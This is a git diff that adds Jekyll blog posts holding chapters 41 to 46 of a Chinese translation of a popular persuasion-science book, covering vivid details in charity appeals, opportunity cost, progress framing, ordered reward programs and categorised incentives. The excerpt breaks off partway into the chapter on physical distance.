+除了筹款和慈善活动之外，“化整为零”这个“四两拨千斤”的方法也可以运用在其他领域，帮你取得想要的结果。比如某个经理想给团队争取更多的年度出差预算，那么他可以先请部门领导想一想，公司愿意为单次的出差去资助多少钱。同样，老师想要说服家长和赞助方为学校提供急需的课本，那么，在呼吁大家为全班解决课本问题之前，应该先请这些赞助人想一想，如果是资助一个孩子的阅读费用，他们愿意出多少。卖套装商品（比如玻璃器皿、套装DVD影碟、行李箱等）的eBay卖家可以在产品说明旁边写上“如果只买一个，你愿意花多少钱？”，总的成交价可能就会提高了。 + +然而，有一个重要的问题需要注意：虽然化整为零的方法适用于许多场合，但有一个特殊的情况不行：当群体数量特别大的时候。例如，奚恺元和同事们建议，如果某个慈善活动想要帮助成千上万的人，化整为零的方法多半就没什么用场了，因为人们倾向于把成千上万这样的大数目简单地等同于“很多”。 + +这是不是意味着，如果需要帮助的对象有成千上万，筹款人就无计可施了呢？当然不是，在这种情况下，筹款人需要采取另一个策略。和这本书中讲到的所有方法一样，这个策略只需对平常的做法做一个小小的调整。我们在下一章中就会仔细讲到它。 diff --git a/_posts/2017-01-01-175-the-small-big-41.md b/_posts/2017-01-01-175-the-small-big-41.md new file mode 100644 index 0000000..c87386d --- /dev/null +++ b/_posts/2017-01-01-175-the-small-big-41.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 41 鲜明生动的细节 +pid: 175 +tags: [细节如何轻松影响他人] +--- +2002年3月13日，一艘印度尼西亚邮轮在距火奴鲁鲁（）约600英里（约965公里）外的洋面上起火，一名船员丧生，船上所有电力和通讯都中断了。三个星期后，一艘路过的游人发现了灾难讯号，于是停在一旁，把船长和10名幸存的船员救了上来。 + +在营救行动中，船长的小狗，一只名叫“福格”的两岁混血梗犬不知为何被落下了。一名游轮乘客在接受新闻频道采访时说，她好像看到有一只狗还留在船上，这句话引发了一场救援行动。这次行动由美国海军陆战队（）组织协调，用时16天，耗费了4.8万美元，所用的资金主要由当地一家叫夏威夷人道主义协会（）筹措的，鉴于每名船员的平均营救与营救成本还不到就狗的一半儿，有一个问题就知道问了：筹款人用了什么方法，说服了夏威夷居民捐出这么一大笔钱来营救一只动物？还有一个更宽泛的问题：除了适用于筹款和慈善活动之外，这个经验是不是也能用在其他的影响和说服行为上？ + +先前的研究表明，筹款组织可以运用的一个既能打动更多人的捐款，也能让捐助者更加慷慨的方法，就是引导大家去关注能反映某一位救助对象个性的具体特征，比如此人的年龄、性别，甚至是头发的颜色。在沟通早期，就要让大家了解这个虽小却十分重要的细节，这会引起了大家的重视——一条活生生的性命危在旦夕，人们对这条生命的价值也因此看得更重了，如果这个救助对象给大家的印象是抽象的、匿名的，只不过是大群体中的一分子，人们对生命价值的体认就没有这么真切。例如，一项针对医生诊疗决策的研究发现，如果做CT扫描时附上患者的照片。医生在诊治时就会更加用心，更加关心病人，因为照片让医生感觉到，自己面对的是一个活生生的人，而不是一群患者中面目模糊的一分子。 + +需要救助的对象不仅是一个活生生的生命，还有那鲜明的形象——当人们把注意力放到这上面的时候，他们就更愿意慷慨解囊。这个观点或许有助于解释那笔拯救了小狗福格的巨额善款。作为一艘载满船员的船上唯一的小狗，它的形象显然是鲜明的。报道说，它是一只白色的混血梗犬，爱吃披萨，大约有40磅（约36斤）重。这些描写也把它说的像个人似的——虽然是个胖乎乎的家伙。 + +因此，在寻求他人帮助的时候，任何人都可以做的一个简单改变就是，在沟通的早期就强调一些关于受助者的、小而具体的重要特征，塑造出一个活生生的鲜明形象。慈善机构可以从中得到清晰的启示。同样，管理者在申请预算的时候，不要只会指着表格上那些干巴巴的数字，而是应该摆出团队成员的照片，让这些人的形象变得鲜活生动起来。“这是玛丽，我们的首席分析师；这是吉姆和林西，他们的团队需要在今年升级系统，在我刚呈交的预算报告中，这笔费用占了预算增长的百分之X。” + +若是辅以另一个基于说服科学的方法，这样的申请还会变得更有说服力。社会科学家辛西娅·克赖德（）、乔治·格温斯坦（）和理查德·沙因斯（）猜想，除了凸显一个“鲜明又具体的个人形象”以外，如果想进一步提升呼吁活动的成效，还可以着重强调一个“清晰又具体的干预手段”。 + +在他们主持的一项实验中，受试者被随机分成了三组，访问一个为乐施会（Oxfam）捐款的网站登录到“普通版”网站的那组受试者读到的是： + +“国际乐施会是世界上最高效的援助组织之一。它向全球人民提供种类众多的人道主义救助。如果你向乐施会捐款，你会捐多少？” + +登录到第二种网站（我们称之为“高价值——细节版”）的受试者读到的内容跟上面一样，只不过多了这样一句话： + +“乐施会运用资金的一个例子是，它他为人们送去了清洁的水。” + +最后，登录到“低价值——细节版”网站的受试者读到的话与第二个版本一模一样，只是“清洁的水”换成了“瓶装水”。这两个版本之所以这样命名，是因为实验之前所做的测试表明，人们认为，比起“瓶装水”，“清洁的水”对被援助对象的帮助力度更大，更有价值。 + +这些措词方面的改动可谓是非常不起眼，但它对结果的影响绝不能用不起眼来形容。看到“普通版”网站的那组受试者平均捐出了7.5美元，而看到“高价值——细节版”的那种受试者（他们看到了细节信息，知道了善款的用途）的平均捐款额增加了37%，小小一个改动就能产生这样的成效，可谓令人印象深刻。因此，如果你想申请额外的资源，不管你想要的是信息，还是时间、金钱，甚至是人手，你都应该在提案中添加一点细节，描述一个清晰有具体的干预手段。 + +同样那位经理在申请系统升级经费的时候，应当向负责人审批预算的人指明，这项额外的资源能给玛丽和他的团队带来具体的价值。可是，应该强调哪一种具体价值呢？ + +为了寻找答案，咱们来仔细看看克赖德、洛温斯坦和沙因斯的研究，特别是“低价值——细节版”那组受试者的表现——他们被告知，他们捐出的金钱会用于提供瓶装水，还不是清洁的水。实验结果是这一组人的捐款金额低于“清洁的水”那一组。知道这个结果之后，你大概不会惊讶。但是，看到下面一个结果，你一定会非常惊讶：这组人的捐款数额也低于“普通版”那一种，也就是那些压根儿没有看到任何额外信息的受试者。 + +造成这个现象的原因是，当你为获得更多资源而进行呼吁时，从那个清晰又具体的干预手段中体现出来的价值，必须要符合人们的预期，否则还不如不说。对于乐施会的例子，我们很容易就能想明白：在捐赠者看来，比起清洁的水，瓶装水对受助对象的帮助力度是远远低于预期的，以至于他们的捐款意愿比不了解具体信息的那一组还低。 + +这个观点也启发我们去关注一个沟通者经常遇到的陷阱。申请资源的人在强调这个资源的价值时，往往会犯一个错误：着重强调这个资源会对他们自己带来什么好处，而不是对提供资源的人带来什么好处。例如，那个向公司申请系统升级经费的经理很容易去强调系统升级能够让她的团队提供更高质量的服务，而不是更高质量的服务将会为全公司带来什么好处。 + +总之，当你需要说服别人为你提供资源，来帮助你达成某个目标的时候，这些“四两拨千斤”的方法表明，你应该引导对方去关注这两个方面：形象鲜明的受益对象以及清晰具体的干预手段。 diff --git a/_posts/2017-01-01-176-the-small-big-42.md b/_posts/2017-01-01-176-the-small-big-42.md new file mode 100644 index 0000000..d84caa1 --- /dev/null +++ b/_posts/2017-01-01-176-the-small-big-42.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 42 指出机会成本 +pid: 176 +tags: [细节如何轻松影响他人] +--- +无论你是想说服客户购买你的产品，让客户接受你的咨询服务，还是请同事们支持你的新项目，如果你跟大多数人想的一样，那么你也会认为，当你手握强有力的支持证据，而且拥有确凿无疑的价格优势时，任务就会变得容易很多。 + +可有些时候，就算手里的产品很棒，价格也很合算，可我们还是没能说服对方。导致失败的原因很多，但最重要的一个就是，处于优势地位的人往往会犯一个常见的错误。幸运的是，意识到这个错误的沟通者不但能有效的避免它，而且还能大幅度地提升自己的竞争优势，胜过对手。只需把要传达的信息做一个小小的调整就可以了。 + +上面所说的这个常见错误就是，人们往往意识不到一个决策背后隐含着经济学家所谓的“机会成本”。决策的机会成本指的是，当人们选择了另一个方案时，可以获得的直接收益。例如，假设你决定在明天上班的时候顺道去趟健身房。这个决策的机会成本就是你要放弃的东西，在这个例子中，就是多睡一小时。在说服他人的时候，沟通者常犯的一个错误就是，他们会假定受众（也就是他们想要说服的人）会自动自发地考虑到决策的机会成本。例如，假如说你是个销售员，你的产品不但质量好，价格也比竞争对手的同类产品低。身为销售人员，你很容易以为目标客户会立即意识到买你的东西能省钱，而且，衡量过价格差距之后，他们就会做出的决定，选你的产品。 + +可是，专门研究消费者行为的沙恩·弗雷德里克（）和同事们所做的研究发现，大众并不像你期望的那样，常常做出这样的比较和衡量。如果你没有主动采取一些简单的行动，引导他们这样想的话，你自以为最有竞争优势的东西没准儿根本就无足轻重。 + +从表面上看，这似乎是明摆着的：面对较贵的物品A和较便宜的物品B，做决策的人肯定会认真考虑没买A的机会成本。在边A上多花500美元，就等于这个500美元不能用来买别的了，这似乎想都不用想。可是，弗雷德里克和同事们认为人们不会这样想这么多的，特别是在背负了太多选择、有太多决策要做的时候。面对这种问题，他们提出了一个十分简单却常常被人忽略的解决方案：给决策者一点儿小小的帮助——温和地提醒他们，把机会成本的问题说得再清楚一点儿。 + +他们所做的一项实验中，受试者被随机分成两组，大家可以用14.99美元的价格购买DVD。第一组面临的选择是，要么“买这张DVD”，要么“不买”。而第二组面临的选择是，“买这张DVD”或是“把14.99美元省下来买别的”。虽然两组的选择的意思一模一样——毕竟，“不买”就等于把钱省下来买别的，可是这个小小的改变让结果大为不同：第二组购买率从75%掉到了55%。 + +这些研究人员发现，家具制造商兼零售商宜家（）在新加坡投放的一则广告出色地运用了这个策略。广告画面的左半边，一个闷闷不乐的女郎站在一个时髦的鞋柜边，柜子里却只放着一双鞋。画面底下写着“量身定制的鞋柜1670美元+1双鞋=1700美元”。对比之下，在广告画面的右半边，女郎站在一个没那么花哨的宜家鞋柜前，柜里的鞋子多的快满出来了。底下的广告词写的是，一个鞋柜（245美元）加上48双鞋子（1440美元），还比左边的1700美元便宜呢。 + +有趣的一点是，宜家的广告中，省下来的钱被用来购买和目标商品相关的东西（鞋子和鞋柜）。然而，弗雷德里克和同事们发现，不一定非这样不可。 + +在另一个实验中，工作人员要求受试者在两部手机中选一个，品质较高的那个要贵20美元。然而，在此之前，工作人员请一半受试者想一想，20美元能买到什么——什么东西都行。另一半人则没有接到这个指示。结果是，前一组中，愿意选便宜手机的人数比后一组中多出了50%。 + +因此，每一个沟通者都能使用的、提升沟通效果的“四两拨千斤”的策略就是，清楚地告诉目标受众，选择这样东西的附加好处是什么。如果一名政客告诉大家，她推行的新政能帮助每个家庭每年节省250美元，那她可以继续描述一个家庭能用这么多出来的250美元做什么，比如全家人来趟休闲之旅，往孩子的大学教育经费里多存一笔，或者多积攒点储蓄，以备不时之需。同样，一个IT咨询顾问想说服客户购买那套已经打了折的软件系统，那他可以给客户举几个例子，说明这笔省下来的钱和时间可以用来做什么，这样一来，本来已经挺有说服力的销售就变得更加吸引人了。 + +销售经理可以请团队成员想一想，下一季度的销售奖金怎么花。这就是一个提升销售绩效的、“四两拨千斤”的策略——要是把大家的花钱计划写在团队的白板上公之于众效果还会更好。 + +这个凸显机会的成本的“四两拨千斤”策略对你的退休计划也有益处。我们有个朋友，和许多有孩子的家庭一样，他们家也面临着没完没了的纠结选择：是今天把钱花掉呢，还是存起来，好舒舒服服地及早退休。他们的“四两拨千斤”的策略是核算出“提早一周退休”的成本是多少。夫妻二人面临昂贵开销的抉择时，就会把这项开销的成本你提早一周退休的成本作一番比较。不久之前，他们告诉我们，说他们的朋友最近都搬进了更贵的房子，而且还怂恿他们也这么干。可计算一下就很清楚了：如果他们搬进更好的房子，就意味着退休时间要比目标晚了四年。他们马上就明白过来：他们不想这么干。 + +当然，需要切记的是，省下来的钱可以做的必须是好事。上述研究人员指出，一个反战网站这样描述伊拉克战争的成本（当时美国投入的成本大约是3000亿美元）：相当于一整年的时间里每个美国人每天少吃9个奶油夹馅小面包。看起来，不管这句话的意图是多么美好，这一则反战宣言也是搬起石头砸自己的脚了。 + +虽然上面这个例子有些欠妥，但这里头隐含着的一个重要方法，如果你的产品、提议或政策价值不菲，你就可以借鉴它：不要把机会成本描绘的诱人又重要，相反，你要把他说的一点儿也不吸引人，或是微不足道。对此，钻石开采和销售公司迪比尔斯（）在最近的一则广告中做出了精彩的示范：图片上印着一个硕大的钻石耳环。广告词怎么写的？ + +“明年再翻修厨房吧。” diff --git a/_posts/2017-01-01-177-the-small-big-43.md b/_posts/2017-01-01-177-the-small-big-43.md new file mode 100644 index 0000000..7989802 --- /dev/null +++ b/_posts/2017-01-01-177-the-small-big-43.md @@ -0,0 +1,45 @@ +--- +layout: post +title: 43 如何激励他人（还有你自己）完成任务 +pid: 177 +tags: [细节如何轻松影响他人] +--- +假设有一天，你约了朋友喝咖啡。点单付账之后，咖啡师递给你一张积分卡，说每买一杯咖啡就能集一枚印章。攒齐十枚印章之后，就可以免费换一杯。你接过卡片，发现她已经在上面给你盖了两个章——你已经朝着那杯免费咖啡进发了。 + +你取得的进展可以用两种方式描述：你已经走完了20%的路，或者你还有80%的路要走。哪个说法更能激励你完成任务？ + +原来，这个问题的答案不仅对想赢得忠诚客户的咖啡店老板有用，对任何一个想要说服他人（甚至包括他们自己）完成任务的人，这个答案都是有意义的。（顺便说一句，在你接着读下去之前，你应该知道，你已经读完了本章的10%了。） + +说服科学专家古敏中（）和艾莱特·菲什巴克（）认为，要是把注意力的重点变一变，人们完成任务的干劲儿就会变得更强。他们假设，在任务刚开始的时候，与其把关注重点放在尚未完成的、比例较大的部分，还不如把重点放在已经完成的、比例较小的部分，因为这样做会让人劲头儿更足。 + +为了测试这个猜想，古敏中和菲什巴克设计了一系列精彩的实验，其中一个选在了一家人气很旺的寿司店。在4个月的时间里，900该店的常客参与了一个忠诚客户奖励计划：午餐期间来店消费十次，就可获得一次免费午餐。一半顾客拿到的是空白卡，他们获知，每吃一次午饭，就可以加一枚寿司形状的印章印花。由于每次消费盖一个章，顾客的注意力被引导到累积的进展上。咱们把这组顾客称为“进度累积组”。 + +另一半顾客拿到的卡片上，10个寿司形状的印花已经盖好了。每来店吃一次午餐，店员就用打孔机打掉一个印章。因此，这批顾客关注的是距离那顿免费午餐还剩余多少没有完成。咱们把这一组叫作“剩余任务组”。 + +说到此时，我们需要强调一个事实：由于这项研究是发生在一家正常营业的餐馆，因此顾客消费情况十分多样。例如，独自来吃午饭的顾客会得到一枚印花，或是在卡上打一个孔，这意味着每次只朝目标前进了一点点。但请一群朋友或同事们来吃饭可以得到多枚印花（或是在卡上多打几个孔），这意味着他们取得了显著的进展。 + +分析结果之后，研究人员发现，如果顾客最初取得的进展较小，即独自吃饭或请客人数很少，那么“进度累积组”的人更有可能再次回到这餐馆消费。如果顾客最初取得的进展很大，那么情况就反过来了，“剩余任务组”的顾客更愿意回来。 + +为何会出现这种现象？这是因为，在两种情况下，当顾客的注意力焦点被引导到较小的数字上时，完成目标的积极性更高——无论这个较小的数字指的是已经取得的进展（通往免费午餐的路，你已经走完了30%），还是剩下的任务（你还有30%的路要走）。 + +古敏中和菲什巴克把这个理伦称作“小数字假说”。 + +这里面的含义很清楚：无论你的目标是提高客户忠诚度，还是只不过想激励他人（你自己也算）更积极的完成任务，这项研究的建议是，你应该在早期的时候，把目标对象（或你自己）的注意力引导到已经取得的少量进展上，而不是盯着尚未完成的较大数字。 + +其中一个原因是，在执行任务的早期，盯着小数字能够唤起人们尽可能高效做事的欲望。从完成了20%进步到40%，这相当于进展翻了倍，行动看起来非常高效。相比之下，如果进度从60%增加到80％，同样是20％的增量，但感觉上只不过是已完成任务的1/4。 + +因此，当管理者想要激励员工积极实现销售或绩效目标的时候，应针对大家已经取得的成绩给出反馈，借此来保持最初的冲劲儿，比如，“新季度刚开始一周，大家就已经完成了季度目标的15%”，而不是“咱们头一个礼拜干的不错，现在还有85%的任务有待完成。” + +同样，如果某人想督促自己定期存钱，好买一部新的高清电视，或是夫妻俩想要还掉信用卡或个人贷款，就应该把注意力放在虽小却很重要的、已经取得的进展上，激励自己坚持下去。银行和金融机构甚至可以用这种方法来协助顾客：把顾客已经取得的存款（还贷）进展放到报表和网银页面上去，就像领英（）做的那样——把会员的线上简历完成进度标出来。 + +但是，还记得在寿司餐馆一上来就消费了很多的顾客吗？这意味着他们很快就累积了许多印花，离目标更近了。在这种情况下，剩下有待完成的任务比已经完成的任务少。也请记得，注意力集中在“剩余的少量任务”的那一组人更容易完成任务。 + +这意味着，不管目标是什么，当进度过半之后，你需要把激励方法做一个小小的调整。一旦进度过半，当反馈聚焦到剩余的少量任务上时，人们完成任务的积极性就会变得更高。因此，“你离完成目标只有20%了”，会比“你已经完成了80%”更能受到鼓舞。 + +看到这里，这一章你只剩下20%就看完了，所以此时大概是举出实际例子的好时机，看看对注意力焦点的小小调整能对你的影响力和说服力产生多大的提升作用！ + +从航空公司和酒店，到咖啡馆和化妆品零售店，许多商业机构都设有客户奖励计划，反馈机制都已经建立起来了，因此顾客们都知道自己在实现目标（获得升舱服务或免费住宿，在咖啡店的例子中，是赢得下一杯免费的双份巧克力摩卡）的路上已经走了多远，“小数字假说”建议我们，无论顾客处于路程的哪个阶段，反馈的重点应该始终放在较小的数字上——无论这个数字指的是已经取得的进展，还是有待完成的任务。常常坐飞机的旅客收到的通知单上，应当标出顾客已经积攒了多少里程，一旦里程数过半之后，通知单上就应该强调还差多少里程就可以享受升舱服务。咖啡师应当在给顾客盖章时告诉客户，他们已经积攒了几个印花，或是还差几个印花就可以兑换免费饮品了。 + +同样，从事教练和培训行业的人应当用心的构思给学员的反馈和建议的措辞，强调那些较小的数字，比如学员初步取得的成绩，或是余下的为数不多的任务。想要督促员工提升工作技能的管理者可以把这个方法纳入员工的个人发展计划，做法之一就是把员工实现某个具体目标的进度百分比显示出来，一旦进度过半，就把百分比数字从“已经做到了多少”转换成“还剩下多少”。这个小小的改变能帮助员工把注意力放在较小的数字上，因此显著提升他们的绩效表现。 + +如果你需要激励自己完成一小时的活力单车课程，或是下周的十公里长跑，那么在任务的早期，你应该关注“我已经完成了多少”，然后再把关注点转换到“我还剩下多少”。这个方法能够帮助你坚持下来。同样，为了鼓励自己完成瘦身计划（或是为期一个月的戒烟行动），刚开始的时候，你应该想的是已经戒掉了多少体重（或是有多少天没有抽烟），到了后期，就去想想你还有几斤没有减掉（或者还剩几天就完成了戒烟计划）。 diff --git a/_posts/2017-01-01-178-the-small-big-44.md b/_posts/2017-01-01-178-the-small-big-44.md new file mode 100644 index 0000000..394e628 --- /dev/null +++ b/_posts/2017-01-01-178-the-small-big-44.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 44 如何提高客户忠诚度 +pid: 178 +tags: [细节如何轻松影响他人] +--- +网上葡萄酒店（yesmywine.com）有个颇为有趣的客户奖励制度。顾客买了某个国家的葡萄酒，就能获得一枚“国家印章”。一年内集齐12枚不同的奖章，就能换得一份很大的优惠。但这里面有个机关，为了拿到这个优惠，顾客必须按照这家网店规定的顺序来收集奖章。比如说，顾客需要在1月份买一瓶法国葡萄酒，2月份买澳大利亚的，3月份买意大利的……这样坚持一整年，而不是按照自己选择的顺序，一年内只要买够12个不同国家的12瓶酒就行了。 + +鉴于购买量都是一样的（同是12瓶），这个奖励计划看起来过于严格了。人们会认为，与标准的客户忠诚计划相比，有着奇怪性质的计划（比如这一个）应该不太能吸引客户吧。毕竟，在说服他人完成任务的时候，特别是包含若干个步骤和行动的那一种（在客户忠诚度计划中，是若干次购买），绝大多数都喜欢规则更灵活些，没有不必要的壁垒。 + +所以，为什么一家公司——我们假定它希望吸引到更多客户，并培养出长期的忠诚度——会设计出一个违背大多数人习惯的奖励计划？原来，yesmywine.com网站发现了一些违反直觉的规律。在追求目标的过程中，尽管人们都说自己更喜欢灵活性，但严格的规定反而能极大程度上帮你实现目标。 + +在决定是否要追求一个目标的时候，人们一般会思考两件事：这件事有多大价值，以及有没有可能做到。例如，一支业务拓展团队想签下一个实力强大、也极有战略意义的新客户，他们不旦需要评估这个新客户的价值，还要衡量自己的机会有多大。同样，如果某个人希望学会一门新技能，或是找一份新工作，光是想象人生从此会出现多么巨大的变化是不够的，她也要考虑实现目标所需的步骤和行动。 + +既然实现目标所需的不仅是认可目标的价值，还得采取切实的行动，那么，有没有这种情况：一个说服我们去追求目标的因素，到最后反而会阻碍我们实现这个目标？例如那个网上葡萄酒商的店的例子中，比起让顾客按照规则顺序购买葡萄酒，更加灵活的做法是让顾客不按顺序、随心所欲的买酒，这种自由度应该更吸引人，因此更多顾客会被说服，加入这个奖励计划。但是，一旦他们加入之后，这个原本吸引了他们的灵活性，会不会反而削弱完成购买计划、获得优惠奖励的积极性？ + +行为科学家金立彦（）、黄素琪（）和张英（）认为，当某个目标包括若干个行动的时候，如果人们可以自行选择这些行动的顺序，那么，与只能按照规定顺序行事的人相比，前者追求目标的积极性会更大，然而，一旦追求目标的过程开始，有灵活行动权的人完全完成目标的可能性反而不如没有灵活性的人大。 + +为了测试这个想法，研究人员在市中心一家生意兴隆的酸奶店里做了实验。800位顾客各自拿到了一张奖励卡，买齐6盒酸奶就可以免费获赠一盒。一半人拿到的卡片上写着，购买顺序不限，买够6种不同口味的酸奶就可以。另一半人拿到的卡片上规定好了6种口味的购买顺序：香蕉、苹果、草莓、橙子、芒果、葡萄。此外，一半人的卡片上要求顾客次日回店激活卡片，而另一半人的卡片已经激活，可以直接使用。后两个条件很重要，因为通过“专门再跑一趟”的要求，研究人员可以度量顾客参加活动的动力有多大。 + +实验结果与最初的设想一致：比起只能按照规定顺序购买的顾客，可以按自选顺序的购买的顾客显然更愿意激活卡片（12%与30%）。但有趣的是，若算完成率的话，情况刚好相反。只能按照规定顺序玩买酸奶的顾客完成任务的概率明显较高。 + +可是，为什么会这样？ + +一个可能的原因是，预先规定的顺序能抹掉（起码也是减少）执行过程中不必要的“决策点”。在当今这个信息过载的社会，人们喜欢少做决策，而不是多做。在附加的研究中，金立彦和同事们发现了支持证据：按照规定顺序行事的人一般都感到，在实现目标的过程中限制选择的个数，会让这个目标变得更有可能实现，事情也会显得更容易一点儿。 + +到目前为止，一切合情合理，但，稍等一下。虽然只能按顺序买酸奶的顾客有可能买够6盒并拿到免费酸奶，但这批人参加活动的概率比较低。所以，如果严格的规定确实能够提升人们完成任务的可能性，却在一开始的时候降低了人们参加的概率，那综合效应会怎样？研究者们也考虑到了这个问题。说服科学中常常遇到的一样，答案是“要看情境”。 + +当选择相对简单，完成任务的动力很足的时候，灵活性比固定顺序更有助于实现目标。但是，如果人们需要做出较为困难的改变，或动力比较低的时候，严格的顺序和结构就会更有帮助。 + +对于想设计客户忠诚度计划和奖励计划的公司，这个研究有清晰的借鉴意义。但除了这些之外，还有些东西也值得思考。假设一名经理想说服鼓励下属参与一个新项目。在琢磨“是让大家灵活行动还是按规定顺序执行”之前，这位经理需要先问自己一个虽然很小却意义重大的问题：“我们面临的主要问题是说服大家认同这项工作呢，还是鼓励他们坚持到底？”如果，答案是先说服大家接受这项工作，那么接下来要做的就很清楚了：必需的行动顺序应当越灵活越好，并且在宣布这项工作时就要强调这份灵活性。 + +但是，如果问题出在执行阶段，虽然做法完全不同，但照样很清楚：制定一个结构清晰、按部就班的行动计划，并且对大家强调，一旦行动开始，这个项目就会以明确的方式一直往前推进。 + +结构化的顺序能够帮助人们完成既定目标，这个方法对医药公司也很有用。这类机构面临的挑战是说服人们按照疗程服药。这项研究结果表明，医药公司可以把泡罩包装在药片分成不同的颜色，并做出清晰的标识，告诉患者何时该吃什么药丸，这对患者和专业医护人员都有好处。例如，疗程的头三天，患者需要吃白色药片，接下来三天去蓝色药片，最后吃红色的。虽然药物成分没有任何改变，但这个“分步骤服用”的小改变能让患者更容易遵照医嘱吃药。 + +同理，自行组装式产品（比如家具）的零售商和制造制造商可以把说明书改改：把各个组装阶段按照颜色区分开，清楚地指明安装顺序，这样一来，顾客就更容易按步来了。这个小改变不但能让安装过程变得更容易，没准还能维护小两口的感情关系呢。 + +说到激励自己学习新技能——尤其是在它很难学，或许生活有很多事让你分心的情况下，虽然这个严格按规矩来的方法在刚开始的时候没那么有趣，但它确实能帮你学会夏威夷四弦吉他，祝你加入那个向往已久的民乐乐队。 diff --git a/_posts/2017-01-01-179-the-small-big-45.md b/_posts/2017-01-01-179-the-small-big-45.md new file mode 100644 index 0000000..406e6c2 --- /dev/null +++ b/_posts/2017-01-01-179-the-small-big-45.md @@ -0,0 +1,25 @@ +--- +layout: post +title: 45 如何让一加一大于二 +pid: 179 +tags: [细节如何轻松影响他人] +--- +任何一个优秀的经济学家都会告诉你，人们会对激励作出反应。但是，行为心理学家也指出，人对激励反应不仅与经历本身有关，也会受到相关情境的影响。例如，同是一样东西，人们对失去它的担忧更甚过对它对得到它的渴望。在得失之间，经济学中一模一样的东西，在心理学中却有了不同的比重。 + +时机也是很重要的情境。研究已经证实，我们都有“牺牲明天，享受今天”的倾向。面对今天拿到20美元，明天拿到21美元的选择，绝大多数人都愿意今天拿钱。可是，如果把情境换一换，7天之后拿到20美元和8天之后拿到21美元，更多人就愿意多等一天，多拿钱了。这个现象说明，有时候人类的决策和行为是多么不一致啊。 + +因此，在运用激励手段来影响他人行为的时候，情景的力量大得惊人。根据一项研究，一个看似很小又不合逻辑的改变，比如把奖励分为不同的类别，就能提高人们获取奖励的积极性——哪怕这个分类毫无意义。 + +行为科学家斯科特·维尔特慕斯（）和弗朗西斯·卡吉诺认为，奖品被归到哪个类别，会影响到人们获取它的积极性。在他们的一项研究中，受试者需要完成一个简单的10分钟写作任务，换取一件奖品。奖品都是些不贵的小物件，被混合放置在两个大塑料盒里，受试者可以从中选一件。但所有的受试者都被告知，如果他们（自愿）选择再完成一个十分钟的任务——也就是总共要做20分钟——他们就可以再选一件奖品。 + +但受试者不知道的是，他们被随机分成了两组，这两组人拿到的任务说明中，有一条关键信息不一样。第一组看到的是，如果他们完成了额外的工作，第二件奖品可以从任意一个盒子里选取。而第二组看到的是，如果他们完成额外工作，两件奖品必须来自不同的盒子，因为盒子里装的奖品“类别不同”。 + +值得注意的是，虽然所有的受试者都能清楚的看到，两个盒子里装的同样都是混着放的小物件，但第二组中愿意完成额外任务的人数是第一组的三倍。或许更加让人惊讶的是，知道自己可以从两类奖品中选的人，从写作任务中得到的乐趣显然比另一组高。 + +那么，既然奖品的数量和价值明明都是一样的，为什么“从两类奖品里选”比“只从一个类别里选”更能激励人？为什么这些人会感到更开心？ + +根据维尔特慕斯和吉诺的看法，把奖品分成两个类别（虽然这个分类毫无意义），这让人们感到，要是不完成那个额外的任务，就会“失去”某种东西。因此，当你使用奖品或奖励手段来促使他人完成任务的时候，应该把激励手段或奖品分为不同的类别。金钱成本并没有变，但此举提升了它们的“心理价值”——因为人们害怕失去。 + +任何一个对使用激励手段鼓舞他人的方法感兴趣或以此为职责的人，都能从上述研究中得到有用的启示。例如，如果一名销售经理想使用一个暂新的提成政策或奖金项目来激励下属好好干，那他可以把奖励分成两个类别，下属只有在赢得了第一类奖励之后，才能争取第二类。这不仅会激励员工们努力争取两类奖励，没准儿还能让他们工作得更开心。 + +这种重新分类的效应甚至还能帮助深陷财务困境的人。身负好几桩债务的人一般都会先把较小的债务偿还掉，这是可以理解的，因为这能让人产生成就感——朝着财务自由的目标又走近了几分。可是，这么做往往会让问题越来越严重，因为较大的债务利息也多，欠债总额会变得越来越重。银行和金融机构可以把较大的债务拆分成两个较小的部分，比如债务A和债务B，在金钱上并这并没有减轻负债人的负担，但至少在心理上可以。这个小小的改变能让人把注意力集中在较大的债务上，因此减少的利息总额，帮了负债人一个大忙。 diff --git a/_posts/2017-01-01-180-the-small-big-46.md b/_posts/2017-01-01-180-the-small-big-46.md new file mode 100644 index 0000000..f17816f --- /dev/null +++ b/_posts/2017-01-01-180-the-small-big-46.md @@ -0,0 +1,41 @@ +--- +layout: post +title: 46 退后一步看问题 +pid: 180 +tags: [细节如何轻松影响他人] +--- +当今的生活如此复杂，有些麻烦事非常棘手，就连最有阅历、经验最丰富的人也不大容易搞定。幸运的是——或者说不幸的是，看你从哪个角度看了——解决办公室里的棘手问题或搞定刺头客户的办法从来都不会远在天边。问题的答案就在你的同事身上，也就是那种特愿意向你传授智慧和经验的人。 + +可有些时候，诸如“睡一晚上，第二天再想吧”，还有“为什么不后退一步，站远一点儿看问题呢？”这样的建议，说话的人用意固然是好的，但这些话也反映出他们对问题面临对你面临的困境缺乏深入的了解。这主要是因为，由于没有切身的利害关系，所以他们眼中的问题跟你看到的很不一样。可是，在你全盘无视他们的建议，认为那些话毫无帮助或是太过宽泛之前，或许你值得考虑一下：关于寻找解决方案，有科学的证据表明，有意识地与手头的问题保持距离，对于解决问题是很有帮助的。此处所说的距离，是实实在在的物理距离。 + +或许更引起人兴趣的是，研究发现，退后一步，保持实实在在的距离，不仅有助于解决问题和做决定，还能给予我们一种独特的说服力。例如，当你向潜在客户做演示或呈交提案的时候，尤其是在早期，请准客户在考虑你的产品或服务之前先后退一步，这会让他们更容易做出跟你合作的决定。 + +研究者马诺吉·托马斯（）和克莱尔·蔡（）认为，人与问题之间的实体距离会影响他们对这个问题难易程度的印象。在一个实验中，受试者需要大声读出面前电脑屏幕上显示出来的单词。有时候，屏幕上显示出来的单词是研究者所谓的“拼写方式不规则的伪单词”，其实就是人为捏造的，拗口难念的假词的科学说法。比如meunstah这种。有些时候，需要受试者大声念出的伪单词看起来比较简单，念起来也很容易，比如hension（汉森）。 + +有趣的是，就在一个难念的伪单词出现之前，工作人员指示一半受试者往前欠身，好拉近他们与伪单词之间的实体距离。而另一半受试者需要往后靠，把他们与伪单词之间的距离拉大。 + +最后读完每个伪单词之后，受试者需要给这个词的发音难度打分。 + 